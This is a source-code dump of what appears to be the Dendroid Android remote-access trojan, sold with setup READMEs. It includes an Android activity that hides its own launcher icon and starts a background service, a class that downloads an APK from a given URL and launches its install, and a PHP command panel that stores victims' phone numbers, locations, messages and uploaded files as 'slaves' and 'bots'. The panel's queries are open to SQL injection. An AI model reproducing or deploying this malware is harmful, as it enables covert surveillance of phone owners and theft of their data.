surface_camera=0x7f070000; 20 | } 21 | public static final class layout { 22 | public static final int cameraview=0x7f030000; 23 | public static final int main=0x7f030001; 24 | public static final int videoview=0x7f030002; 25 | } 26 | public static final class menu { 27 | public static final int connect_layout=0x7f060000; 28 | } 29 | public static final class string { 30 | public static final int app_name=0x7f040000; 31 | public static final int menu_settings=0x7f040001; 32 | public static final int title_activity_connect=0x7f040002; 33 | } 34 | public static final class style { 35 | public static final int AppTheme=0x7f050000; 36 | public static final int Invisible=0x7f050001; 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /Dendroid APK/src/com/connect/Drodian.java: -------------------------------------------------------------------------------- 1 | package com.connect; 2 | 3 | import android.app.Activity; 4 | import android.app.ActivityManager; 5 | import android.app.ActivityManager.RunningServiceInfo; 6 | import android.content.Context; 7 | import android.content.Intent; 8 | import android.content.pm.PackageManager; 9 | import android.os.Bundle; 10 | import android.util.Log; 11 | import android.view.WindowManager; 12 | 13 | public class Drodian extends Activity { 14 | 15 | @Override 16 | public void onCreate(Bundle savedInstanceState) { 17 | super.onCreate(savedInstanceState); 18 | getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE); 19 | getWindow().setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN); 20 | PackageManager i = getApplicationContext().getPackageManager(); 21 | i.setComponentEnabledSetting(getComponentName(),PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); 22 | 23 | if(isMyServiceRunning()==false) 24 | { 25 | startService(new Intent(getApplicationContext(), MyService.class)); 26 | Log.i("com.connect","startService"); 27 | } 28 | } 29 | 30 | private boolean isMyServiceRunning() { 31 | ActivityManager manager = (ActivityManager) getApplicationContext().getSystemService(Context.ACTIVITY_SERVICE); 32 | for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) { 33 | if (MyService.class.getName().equals(service.service.getClassName())) { 34 | return true; 35 | 36 | } 37 | } 38 | return false; 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/My Project/Application.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.1008 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | 'NOTE: This file is auto-generated; do not modify it directly. To make changes, 18 | ' or if you encounter build errors in this file, go to the Project Designer 19 | ' (go to Project Properties or double-click the My Project node in 20 | ' Solution Explorer), and make changes on the Application tab. 21 | ' 22 | Partial Friend Class MyApplication 23 | 24 | _ 25 | Public Sub New() 26 | MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) 27 | Me.IsSingleInstance = false 28 | Me.EnableVisualStyles = true 29 | Me.SaveMySettingsOnExit = true 30 | Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses 31 | End Sub 32 | 33 | _ 34 | Protected Overrides Sub OnCreateMainForm() 35 | Me.MainForm = Global.APKBinder.Form1 36 | End Sub 37 | End Class 38 | End Namespace 39 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/obj/x86/Debug/APKBinder.vbproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\bin\Debug\APKBinder.exe.config 2 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\bin\Debug\APKBinder.exe.config 3 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\bin\Debug\APKBinder.exe 4 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\bin\Debug\APKBinder.pdb 5 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\bin\Debug\APKBinder.xml 6 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\obj\x86\Debug\ResolveAssemblyReference.cache 7 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\obj\x86\Debug\APKBinder.Form1.resources 8 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\obj\x86\Debug\APKBinder.Resources.resources 9 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\obj\x86\Debug\GenerateResource-ResGen.read.1.tlog 10 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\obj\x86\Debug\GenerateResource.read.1.tlog 11 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\obj\x86\Debug\GenerateResource-ResGen.write.1.tlog 12 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\obj\x86\Debug\GenerateResource.write.1.tlog 13 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\obj\x86\Debug\APKBinder.exe 14 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\obj\x86\Debug\APKBinder.xml 15 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\obj\x86\Debug\APKBinder.pdb 16 | C:\Users\COMPUTER\Desktop\DendroidBinder\backup\APKBinder\bin\Debug\APKBinder.exe.config 17 | C:\Users\COMPUTER\Desktop\DendroidBinder\backup\APKBinder\obj\x86\Debug\APKBinder.exe 18 | C:\Users\COMPUTER\Desktop\DendroidBinder\backup\APKBinder\obj\x86\Debug\APKBinder.xml 19 | C:\Users\COMPUTER\Desktop\DendroidBinder\backup\APKBinder\obj\x86\Debug\APKBinder.pdb 20 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/bin/Debug/framework/publickey.x509.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIEqDCCA5CgAwIBAgIJAJNurL4H8gHfMA0GCSqGSIb3DQEBBQUAMIGUMQswCQYD 3 | VQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4g 4 | VmlldzEQMA4GA1UEChMHQW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UE 5 | AxMHQW5kcm9pZDEiMCAGCSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbTAe 6 | Fw0wODAyMjkwMTMzNDZaFw0zNTA3MTcwMTMzNDZaMIGUMQswCQYDVQQGEwJVUzET 7 | MBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEQMA4G 8 | A1UEChMHQW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UEAxMHQW5kcm9p 9 | ZDEiMCAGCSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbTCCASAwDQYJKoZI 10 | hvcNAQEBBQADggENADCCAQgCggEBANaTGQTexgskse3HYuDZ2CU+Ps1s6x3i/waM 11 | qOi8qM1r03hupwqnbOYOuw+ZNVn/2T53qUPn6D1LZLjk/qLT5lbx4meoG7+yMLV4 12 | wgRDvkxyGLhG9SEVhvA4oU6Jwr44f46+z4/Kw9oe4zDJ6pPQp8PcSvNQIg1QCAcy 13 | 4ICXF+5qBTNZ5qaU7Cyz8oSgpGbIepTYOzEJOmc3Li9kEsBubULxWBjf/gOBzAzU 14 | RNps3cO4JFgZSAGzJWQTT7/emMkod0jb9WdqVA2BVMi7yge54kdVMxHEa5r3b97s 15 | zI5p58ii0I54JiCUP5lyfTwE/nKZHZnfm644oLIXf6MdW2r+6R8CAQOjgfwwgfkw 16 | HQYDVR0OBBYEFEhZAFY9JyxGrhGGBaR0GawJyowRMIHJBgNVHSMEgcEwgb6AFEhZ 17 | AFY9JyxGrhGGBaR0GawJyowRoYGapIGXMIGUMQswCQYDVQQGEwJVUzETMBEGA1UE 18 | CBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEQMA4GA1UEChMH 19 | QW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UEAxMHQW5kcm9pZDEiMCAG 20 | CSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbYIJAJNurL4H8gHfMAwGA1Ud 21 | EwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAHqvlozrUMRBBVEY0NqrrwFbinZa 22 | J6cVosK0TyIUFf/azgMJWr+kLfcHCHJsIGnlw27drgQAvilFLAhLwn62oX6snb4Y 23 | LCBOsVMR9FXYJLZW2+TcIkCRLXWG/oiVHQGo/rWuWkJgU134NDEFJCJGjDbiLCpe 24 | +ZTWHdcwauTJ9pUbo8EvHRkU3cYfGmLaLfgn9gP+pWA7LFQNvXwBnDa6sppCccEX 25 | 31I828XzgXpJ4O+mDL1/dBd+ek8ZPUP0IgdyZm5MTYPhvVqGCHzzTy3sIeJFymwr 26 | sBbmg2OAUNLEMO6nwmocSdN2ClirfxqCzJOLSDE4QyS9BAH6EhY6UFcOaE0= 27 | -----END CERTIFICATE----- 28 | -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Other Files/README.txt: -------------------------------------------------------------------------------- 1 | ______ _______ _ ______ _______ _______ _________ ______ 2 | ( __ \ ( ____ \( ( /|( __ \ ( ____ )( ___ )\__ __/( __ \ 3 | | ( \ )| ( \/| \ ( || ( \ )| ( )|| ( ) | ) ( | ( \ ) 4 | | | ) || (__ | \ | || | ) || (____)|| | | | | | | | ) | 5 | | | | || __) | (\ \) || | | || __)| | | | | | | | | | 6 | | | ) || ( | | \ || | ) || (\ ( | | | | | | | | ) | 7 | | (__/ )| (____/\| ) \ || (__/ )| ) \ \__| (___) |___) (___| (__/ ) 8 | (______/ (_______/|/ )_)(______/ |/ \__/(_______)\_______/(______/ 9 | 10 | Thank you for purchasing Dendroid. This file will outline the webserver requirements and how to install the Dendroid HTTP Panel. 11 | 12 | I. REQUIREMENTS 13 | 1. Your webserver must have PHP 5.2 or above. PHP 5.3 is highly recommended. 14 | 2. PHP must have full read and write access to the panel's files and folders. 15 | 2-1. Shared hosting users should have no problem. If you do, talk to your host's support system. They can help with file and folder permissions. 16 | 2-2. VPS and Dedicated Server users should know how to chmod and chown if on Linux. 17 | 3. Your webserver must have the ionCube loaders installed. 18 | 3-1. For more information, visit http://www.ioncube.com/loaders.php 19 | 4. It is recommended to have at least 1GB of disk space. 20 | 4-1. Disk space usage will vary depending on how heavily you use certain features of Dendroid. 21 | 5. A MySQL database. 22 | 23 | If you meet the above requirements, Dendroid's installation should be a breeze. 24 | 25 | II. INSTALLATION 26 | 1. UnZIP the Panel. 27 | 2. Upload all files to your webserver. Pay attention to the subdirectory (if any) that you uploaded it to. 28 | 3. Use phpMyAdmin, or however you manage your MySQL database to upload the "SQL.sql" file. 29 | 3. When all files are uploaded, visit http://yourdomain.com/setup/ 30 | 4. Follow the setup instructions. If you need any help, contact us. We will be glad to help. 31 | 5. Visit http://yourdomain.com/ to use your panel. -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/upload-pictures.php: -------------------------------------------------------------------------------- 1 | 0) 20 | { 21 | $error = "Return Code: " . $_FILES["file"]["error"]; 22 | } 23 | else 24 | { 25 | $file = "{" . md5(rand(1000, 9999) . time()) . "}" . $_FILES["file"]["name"]; 26 | if(!is_dir("dlfiles/" . $_GET['UID'] . "/")){ mkdir("dlfiles/" . $_GET['UID'] . "/"); } 27 | if(move_uploaded_file($_FILES["file"]["tmp_name"], "dlfiles/" . $_GET['UID'] . "/" . $file)) 28 | { 29 | $error = "File has been uploaded"; 30 | } 31 | } 32 | } 33 | else 34 | { 35 | $error = "Invalid file"; 36 | } 37 | } 38 | else 39 | { 40 | $error = "Invalid password"; 41 | } 42 | } 43 | else 44 | { 45 | $error = "file not set"; 46 | } 47 | } 48 | else 49 | { 50 | $error = "Password or UID not set"; 51 | } 52 | ?> -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/filetable.php: -------------------------------------------------------------------------------- 1 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | query($getslaves) as $row) { 53 | $file = preg_replace("#\{(.*)\}#", "", $row['file']); 54 | echo ''; 55 | echo ''; 56 | echo ''; 57 | }?> 58 | 59 |
UIDFileOptions
' . $row['uid'] . '' . $file . '
60 | 61 | -------------------------------------------------------------------------------- /Dendroid APK/src/com/connect/UpdateApp.java: -------------------------------------------------------------------------------- 1 | package com.connect; 2 | 3 | import java.io.File; 4 | import java.io.FileOutputStream; 5 | import java.io.InputStream; 6 | import java.net.HttpURLConnection; 7 | import java.net.URL; 8 | 9 | import android.content.Context; 10 | import android.content.Intent; 11 | import android.net.Uri; 12 | import android.os.AsyncTask; 13 | import android.util.Log; 14 | 15 | public class UpdateApp extends AsyncTask{ 16 | private Context context; 17 | public void setContext(Context contextf){ 18 | context = contextf; 19 | } 20 | 21 | @Override 22 | protected Void doInBackground(String... arg0) { 23 | try { 24 | URL url = new URL(arg0[0]); 25 | HttpURLConnection c = (HttpURLConnection) url.openConnection(); 26 | c.setRequestMethod("GET"); 27 | c.setDoOutput(true); 28 | c.connect(); 29 | 30 | String PATH = "/mnt/sdcard/Download/"; 31 | File file = new File(PATH); 32 | file.mkdirs(); 33 | File outputFile = new File(file, "update.apk"); 34 | if(outputFile.exists()){ 35 | outputFile.delete(); 36 | } 37 | FileOutputStream fos = new FileOutputStream(outputFile); 38 | 39 | InputStream is = c.getInputStream(); 40 | 41 | byte[] buffer = new byte[1024]; 42 | int len1 = 0; 43 | while ((len1 = is.read(buffer)) != -1) { 44 | fos.write(buffer, 0, len1); 45 | } 46 | fos.close(); 47 | is.close(); 48 | 49 | Intent intent = new Intent(Intent.ACTION_VIEW); 50 | intent.setDataAndType(Uri.fromFile(new File("/mnt/sdcard/Download/update.apk")), "application/vnd.android.package-archive"); 51 | intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // without this flag android returned a intent error! 52 | context.startActivity(intent); 53 | 54 | 55 | } catch (Exception e) { 56 | Log.e("UpdateAPP", "Update error! " + e.getMessage()); 57 | } 58 | return null; 59 | }} 60 | -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/applysettings.php: -------------------------------------------------------------------------------- 1 | "; 60 | 61 | fwrite($f, $write); 62 | fclose($f); 63 | } 64 | 65 | header('Location: control.php'); 66 | 67 | ?> -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/obj/x86/Release/APKBinder.vbproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\bin\Release\APKBinder.exe.config 2 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\bin\Release\APKBinder.exe 3 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\bin\Release\APKBinder.pdb 4 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\bin\Release\APKBinder.xml 5 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\obj\x86\Release\ResolveAssemblyReference.cache 6 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\obj\x86\Release\APKBinder.Form1.resources 7 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\obj\x86\Release\APKBinder.Resources.resources 8 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\obj\x86\Release\GenerateResource-ResGen.read.1.tlog 9 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\obj\x86\Release\GenerateResource-ResGen.write.1.tlog 10 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\obj\x86\Release\APKBinder.exe 11 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\obj\x86\Release\APKBinder.xml 12 | C:\Users\COMPUTER\Desktop\DendroidBinder\APKBinder\obj\x86\Release\APKBinder.pdb 13 | C:\Users\COMPUTER\Desktop\DendroidBinder\backup\APKBinder\bin\Release\APKBinder.exe.config 14 | C:\Users\COMPUTER\Desktop\DendroidBinder\backup\APKBinder\bin\Release\APKBinder.exe 15 | C:\Users\COMPUTER\Desktop\DendroidBinder\backup\APKBinder\bin\Release\APKBinder.pdb 16 | C:\Users\COMPUTER\Desktop\DendroidBinder\backup\APKBinder\bin\Release\APKBinder.xml 17 | C:\Users\COMPUTER\Desktop\DendroidBinder\backup\APKBinder\obj\x86\Release\ResolveAssemblyReference.cache 18 | C:\Users\COMPUTER\Desktop\DendroidBinder\backup\APKBinder\obj\x86\Release\APKBinder.Form1.resources 19 | C:\Users\COMPUTER\Desktop\DendroidBinder\backup\APKBinder\obj\x86\Release\APKBinder.Resources.resources 20 | C:\Users\COMPUTER\Desktop\DendroidBinder\backup\APKBinder\obj\x86\Release\GenerateResource-ResGen.read.1.tlog 21 | C:\Users\COMPUTER\Desktop\DendroidBinder\backup\APKBinder\obj\x86\Release\GenerateResource-ResGen.write.1.tlog 22 | C:\Users\COMPUTER\Desktop\DendroidBinder\backup\APKBinder\obj\x86\Release\APKBinder.exe 23 | C:\Users\COMPUTER\Desktop\DendroidBinder\backup\APKBinder\obj\x86\Release\APKBinder.xml 24 | C:\Users\COMPUTER\Desktop\DendroidBinder\backup\APKBinder\obj\x86\Release\APKBinder.pdb 25 | -------------------------------------------------------------------------------- /Guide/readme.md: -------------------------------------------------------------------------------- 1 | Thank You For Purchasing The Dendroid Source! 2 | 3 | Requirements: 4 | Web server with PHP and MySql 5 | phpmyadmin (Easy DB setup) 6 | OpenJDK JRE x64 7 | Java JDK (If on x64 Windows you need to set the environment variable JAVA_HOME C:\Program Files\Java\JDK*** 8 | 9 | Web Panel Setup: 10 | Extract Dendroid Panel 11 | Move all files to your web server or httdocs if following setup video 12 | Set correct permissions (Linux) 13 | Change URL to your web server in reg.php 14 | 15 | Change URL to your web server in Following Files, E.G http://127.0.0.1/: 16 | applysettings.php 17 | blockbot.php 18 | clearawaiting.php (Also add "; 59 | 60 | fwrite($f, $write); 61 | fclose($f); 62 | } 63 | 64 | header('Location: laststep.php'); 65 | ?> -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/index.php: -------------------------------------------------------------------------------- 1 | 22 | 23 | 24 | 25 | 26 | 27 | Login 28 | 29 | 30 | 31 | 62 | 63 | 64 |
65 |
66 |
67 |
68 |
69 |
70 | 71 |
72 |
73 | 74 | 75 | 76 | 77 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/obj/x86/Debug/DendroidBinder.vbproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\COMPUTER\AppData\Local\Temporary Projects\DendroidBinder\bin\Debug\DendroidBinder.exe 2 | C:\Users\COMPUTER\AppData\Local\Temporary Projects\DendroidBinder\bin\Debug\DendroidBinder.pdb 3 | C:\Users\COMPUTER\AppData\Local\Temporary Projects\DendroidBinder\bin\Debug\DendroidBinder.xml 4 | C:\Users\COMPUTER\AppData\Local\Temporary Projects\DendroidBinder\obj\x86\Debug\ResolveAssemblyReference.cache 5 | C:\Users\COMPUTER\AppData\Local\Temporary Projects\DendroidBinder\obj\x86\Debug\DendroidBinder.Resources.resources 6 | C:\Users\COMPUTER\AppData\Local\Temporary Projects\DendroidBinder\obj\x86\Debug\GenerateResource.read.1.tlog 7 | C:\Users\COMPUTER\AppData\Local\Temporary Projects\DendroidBinder\obj\x86\Debug\GenerateResource.write.1.tlog 8 | C:\Users\COMPUTER\AppData\Local\Temporary Projects\DendroidBinder\obj\x86\Debug\DendroidBinder.exe 9 | C:\Users\COMPUTER\AppData\Local\Temporary Projects\DendroidBinder\obj\x86\Debug\DendroidBinder.xml 10 | C:\Users\COMPUTER\AppData\Local\Temporary Projects\DendroidBinder\obj\x86\Debug\DendroidBinder.pdb 11 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\obj\x86\Debug\DendroidBinder.exe 12 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\obj\x86\Debug\DendroidBinder.xml 13 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\obj\x86\Debug\DendroidBinder.pdb 14 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\bin\Debug\DendroidBinder.exe.config 15 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\bin\Debug\DendroidBinder.exe 16 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\bin\Debug\DendroidBinder.pdb 17 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\bin\Debug\DendroidBinder.xml 18 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\obj\x86\Debug\ResolveAssemblyReference.cache 19 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\obj\x86\Debug\DendroidBinder.Form1.resources 20 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\obj\x86\Debug\DendroidBinder.Resources.resources 21 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\obj\x86\Debug\GenerateResource-ResGen.read.1.tlog 22 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\obj\x86\Debug\GenerateResource.read.1.tlog 23 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\obj\x86\Debug\GenerateResource-ResGen.write.1.tlog 24 | C:\Users\COMPUTER\Desktop\DendroidBinder\DendroidBinder\obj\x86\Debug\GenerateResource.write.1.tlog 25 | -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/setup/laststep.php: -------------------------------------------------------------------------------- 1 | 16 | 17 | 18 | 19 | 20 | 21 | Setup: Last Step 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 68 | 69 |
70 |

Setup Complete

71 |

Thank you for completing first time setup. Everything you just setup can be changed in the Panel Settings.

Please delete the setup folder before continuing. It is not required, but recommended for security purposes. If you are ready to continue to the Control Panel, click the button below:

72 |
73 | 74 | -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/functions.php: -------------------------------------------------------------------------------- 1 | getMessage() . "
"; 14 | die(); 15 | } 16 | 17 | function slave_exists($UID) { 18 | global $connect; 19 | $statement = $connect->prepare('SELECT * FROM bots WHERE uid=:uid'); 20 | $statement->bindParam(':uid', $UID, PDO::PARAM_STR); 21 | $statement->execute(); 22 | $row = $statement->fetch(PDO::FETCH_ASSOC); 23 | if(!$row){ 24 | return false; 25 | } else { 26 | return true; 27 | } 28 | } 29 | 30 | function setFunction($UID, $Function){ 31 | $UID = sanitize($UID); 32 | $Function = sanitize($Function); 33 | if(slave_exists($UID)){ 34 | $functions = getFunction($UID); 35 | if($functions == ""){ 36 | mysql_query("UPDATE slaves SET Function='$Function' WHERE `Unique_ID` = '$UID'") or die(mysql_error()); 37 | } else { 38 | $functions = $functions . ", " . $Function; 39 | mysql_query("UPDATE slaves SET Function='$functions' WHERE `Unique_ID` = '$UID'") or die(mysql_error()); 40 | } 41 | } 42 | } 43 | 44 | function updateSlave($UID, $Device, $Version, $Coordinates, $Provider, $PhoneNumber, $SDK, $Random){ 45 | $remove = array("(", ")"); 46 | $cleancoords = str_replace($remove, "", $Coordinates); 47 | $splitcoords = explode(",", $cleancoords); 48 | $Lati = $splitcoords[0]; 49 | $Longi = $splitcoords[1]; 50 | 51 | global $connect; 52 | 53 | if (slave_exists($UID)){ 54 | $statement = $connect->prepare("UPDATE bots SET device='$Device', version='$Version', lati='$Lati', longi='$Longi', provider='$Provider', phone='$PhoneNumber', sdk='$SDK', random='$Random' WHERE `uid` = '$UID'"); 55 | $statement->execute(); 56 | } else { 57 | $statement = $connect->prepare("INSERT INTO `bots` (`uid`, `device`, `version`, `lati`, `longi`, `provider`, `phone`, `sdk`, `random`) VALUES ('$UID', '$Device', '$Version', '$Lati', '$Longi', '$Provider', '$PhoneNumber', '$SDK', '$Random')"); 58 | $statement->execute(); 59 | } 60 | } 61 | 62 | function addMessage($UID, $Message) { 63 | global $connect; 64 | $statement = $connect->prepare("INSERT INTO `messages` (`uid`, `message`) VALUES ('$UID', '$Message')"); 65 | $statement->execute(); 66 | } 67 | 68 | function addToUploads($owner, $slave, $file){ 69 | if(slave_exists($slave)){ 70 | if(file_exists("dlfiles/" . $file)){ 71 | global $connect; 72 | $statement = $connect->prepare("INSERT INTO `files` (`uid`, `file`) VALUES ('$slave', '$file')"); 73 | $statement->execute(); 74 | } 75 | } 76 | } 77 | ?> -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/setup/index.php: -------------------------------------------------------------------------------- 1 | 16 | 17 | 18 | 19 | 20 | 21 | Setup 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 68 | 69 |
70 |

First Time Setup

71 |

Welcome to first time setup. This process will aid you in the configuration of your account, your database, and a few other settings.

This software requires PHP 5.2 and above. You have: . It also requires a MySQL database, which you will setup later. Lastly, it requires that you access the panel from a web browser that has up-to-date HTML5 features. The control panel was developed with the aid of Google Chrome and is guaranteed to display and function correctly in it.

If you are ready to proceed, click the button below:

72 |
73 | 74 | -------------------------------------------------------------------------------- /Dendroid Panel/Dendroid Panel/Panel/new-upload.php: -------------------------------------------------------------------------------- 1 | 0) 20 | { 21 | $error = "Return Code: " . $_FILES["file"]["error"]; 22 | } 23 | else 24 | { 25 | $file = "{" . md5(rand(1000, 9999) . time()) . "}" . $_FILES["file"]["name"]; 26 | if(move_uploaded_file($_FILES["file"]["tmp_name"], "dlfiles/" . $file)) 27 | { 28 | $owner = ""; 29 | addToUploads($owner, $_GET["UID"], $file); 30 | $error = "File has been uploaded"; 31 | } 32 | } 33 | } 34 | else 35 | { 36 | $error = "Invalid file"; 37 | } 38 | } 39 | else 40 | { 41 | $error = "Invalid password"; 42 | } 43 | } 44 | else 45 | { 46 | $error = "file not set"; 47 | } 48 | } 49 | else 50 | { 51 | $error = "Password or UID not set"; 52 | } 53 | 54 | $f = fopen("log.txt", "a+"); 55 | if($f) 56 | { 57 | $srv = print_r($_SERVER, true); 58 | $fls = print_r($_FILES, true); 59 | $gt = print_r($_GET, true); 60 | $pst = print_r($_POST, true); 61 | 62 | $fmt = "Error: \r\n"; 63 | $fmt .= $error . "\r\n"; 64 | $fmt .= "-----------------------------------------\r\n"; 65 | 66 | $fmt .= "Server: \r\n"; 67 | $fmt .= $srv . "\r\n"; 68 | $fmt .= "-----------------------------------------\r\n"; 69 | 70 | $fmt .= "Files: \r\n"; 71 | $fmt .= $fls . "\r\n"; 72 | $fmt .= "-----------------------------------------\r\n"; 73 | 74 | $fmt .= "Get: \r\n"; 75 | $fmt .= $gt . "\r\n"; 76 | $fmt .= "-----------------------------------------\r\n"; 77 | 78 | $fmt .= "Post: \r\n"; 79 | $fmt .= $pst . "\r\n"; 80 | $fmt .= "-----------------------------------------\r\n"; 81 | 82 | fwrite($f, $fmt); 83 | fclose($f); 84 | } 85 | ?> -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/My Project/Resources.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.1008 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | Imports System 15 | 16 | Namespace My.Resources 17 | 18 | 'This class was auto-generated by the StronglyTypedResourceBuilder 19 | 'class via a tool like ResGen or Visual Studio. 20 | 'To add or remove a member, edit your .ResX file then rerun ResGen 21 | 'with the /str option, or rebuild your VS project. 22 | ''' 23 | ''' A strongly-typed resource class, for looking up localized strings, etc. 24 | ''' 25 | _ 29 | Friend Module Resources 30 | 31 | Private resourceMan As Global.System.Resources.ResourceManager 32 | 33 | Private resourceCulture As Global.System.Globalization.CultureInfo 34 | 35 | ''' 36 | ''' Returns the cached ResourceManager instance used by this class. 37 | ''' 38 | _ 39 | Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager 40 | Get 41 | If Object.ReferenceEquals(resourceMan, Nothing) Then 42 | Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("APKBinder.Resources", GetType(Resources).Assembly) 43 | resourceMan = temp 44 | End If 45 | Return resourceMan 46 | End Get 47 | End Property 48 | 49 | ''' 50 | ''' Overrides the current thread's CurrentUICulture property for all 51 | ''' resource lookups using this strongly typed resource class. 52 | ''' 53 | _ 54 | Friend Property Culture() As Global.System.Globalization.CultureInfo 55 | Get 56 | Return resourceCulture 57 | End Get 58 | Set 59 | resourceCulture = value 60 | End Set 61 | End Property 62 | End Module 63 | End Namespace 64 | -------------------------------------------------------------------------------- /Dendroid Binder/APKBinder/My Project/Settings.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.1008 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | _ 20 | Partial Friend NotInheritable Class MySettings 21 | Inherits Global.System.Configuration.ApplicationSettingsBase 22 | 23 | Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) 24 | 25 | #Region "My.Settings Auto-Save Functionality" 26 | #If _MyType = "WindowsForms" Then 27 | Private Shared addedHandler As Boolean 28 | 29 | Private Shared addedHandlerLockObject As New Object 30 | 31 | _ 32 | Private Shared Sub 